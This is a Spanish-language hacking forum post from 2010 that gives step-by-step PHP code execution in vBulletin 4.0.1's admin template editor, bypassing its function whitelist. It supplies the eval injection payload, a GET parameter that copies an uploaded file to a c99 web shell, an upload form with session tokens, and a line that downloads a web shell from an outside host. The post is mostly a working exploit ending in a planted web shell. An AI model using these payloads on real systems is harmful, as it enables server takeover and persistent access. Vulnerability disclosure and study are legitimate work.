elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Codigo de ejecución PHP en VBulletín 4.0.1 (bypass al filtro de funciones)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Codigo de ejecución PHP en VBulletín 4.0.1 (bypass al filtro de funciones)  (Leído 2,928 veces)
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Codigo de ejecución PHP en VBulletín 4.0.1 (bypass al filtro de funciones)
« en: 21 Febrero 2010, 23:24 pm »

Antes de comenzar a explicar debo decir que esto se encuentra solamente en el sistema de administración xD asi que solamente los que tengan acceso podrán ejecutar esto.

Estaba viendo un demo oficial de vbulletín y quería ver si podía reproducir la misma vulnerabilidad de ipboard ya que son practicamente los mismos desarrolladores pero me encontré con algunos problemas.
( http://foro.elhacker.net/nivel_web/codigo_de_ejecucion_php_y_xss_en_ipboard_305-t285256.0.html )

Primero que nada acá no se pueden ejecutar funciones directamente como ipboard aunque la sintaxis es muy similar al editar un theme.
Lo que si pude lograr es inyectar código arbitrario en las las llamas {vb:raw}.
http://demo.vbulletin.com/admincp/template.php?s=&do=add&dostyleid=2&title=FORUMDISPLAY&group=forumdisplay

Para llamar a un título usas lo siguiente:
Código:
<title>{vb:raw foruminfo.title_clean}</title>

Por lo tanto me imaginé que debería llamar a alguna clase utilizando eval, o sea algo asi como
Código:
eval('$clase->'.$variable.'();');

Así que me puse a experimentar tratando de escapar con comillas y puntos y comas y a final que pude escapar del eval e inyectar código de la siguiente forma:
Código:
{vb:raw $voptions[eval(stripslashes(html_entity_decode($_GET[x])))]}

Lo que sucede es que si tratas de exponer directamente la función entonces vbulletin te va a decir que no es una variable válida asi que le damos en el gusto y lo encerramos en una variable válida.
Ahora si intentan poner esto en cualquier parte del theme no va a funcionar porque vbulletin utiliza un filtro y tiene una whitelist con las funciones que solamente pueden utilizarse, por lo tanto les va a rechazar la función eval().

Dentro del tag <title></title> es donde pueden ejecutarse las funciones de esta forma dentro de una variable válida y el filtro no va a saltar porque no lo procesará de forma correcta.

Con esto ya podemos hacer un
http://demo.vbulletin.com/index.php?x=if($_FILES){copy($_FILES['archivo']['tmp_name'],'c99.php');}exit;

y desde el firebug editamos el DOM del contenido HTML para escribir un form:
Código
  1. <form method="post" enctype="multipart/form-data">
  2. <input name="archivo" type="file">
  3. <input value="Enviar" type="submit">
  4. <input type="hidden" name="adminhash" value="baa10b27ca5198266ab2cf09f2b101e4" />
  5. <input type="hidden" name="securitytoken" value="1266787977-14112f434378273e323fe65d5e7fc43535be4705" />
  6. </form>

Ojo que vbulletín nos pedirá el token de nuestra sesión el cual lo puse en un input de tipo hidden y con eso ya subimos la c99 o si no la clásica con file_put_contents('c99.php', file_get_contents('http://r57.gen.tr/99.txt'));

Saludos.
« Última modificación: 21 Febrero 2010, 23:26 pm por WHK » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Codigo para ocultar las funciones api
Programación C/C++
Timerlux 1 1,779 Último mensaje 10 Febrero 2012, 22:03 pm
por ThunderCls
Bypass extensión en filtro include (en la actualidad)
Nivel Web
exploiterstack 8 4,084 Último mensaje 29 Enero 2015, 13:38 pm
por exploiterstack
Carbanak: ¿se filtró el código fuente?
Análisis y Diseño de Malware
r32 0 1,763 Último mensaje 11 Julio 2018, 19:35 pm
por r32
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines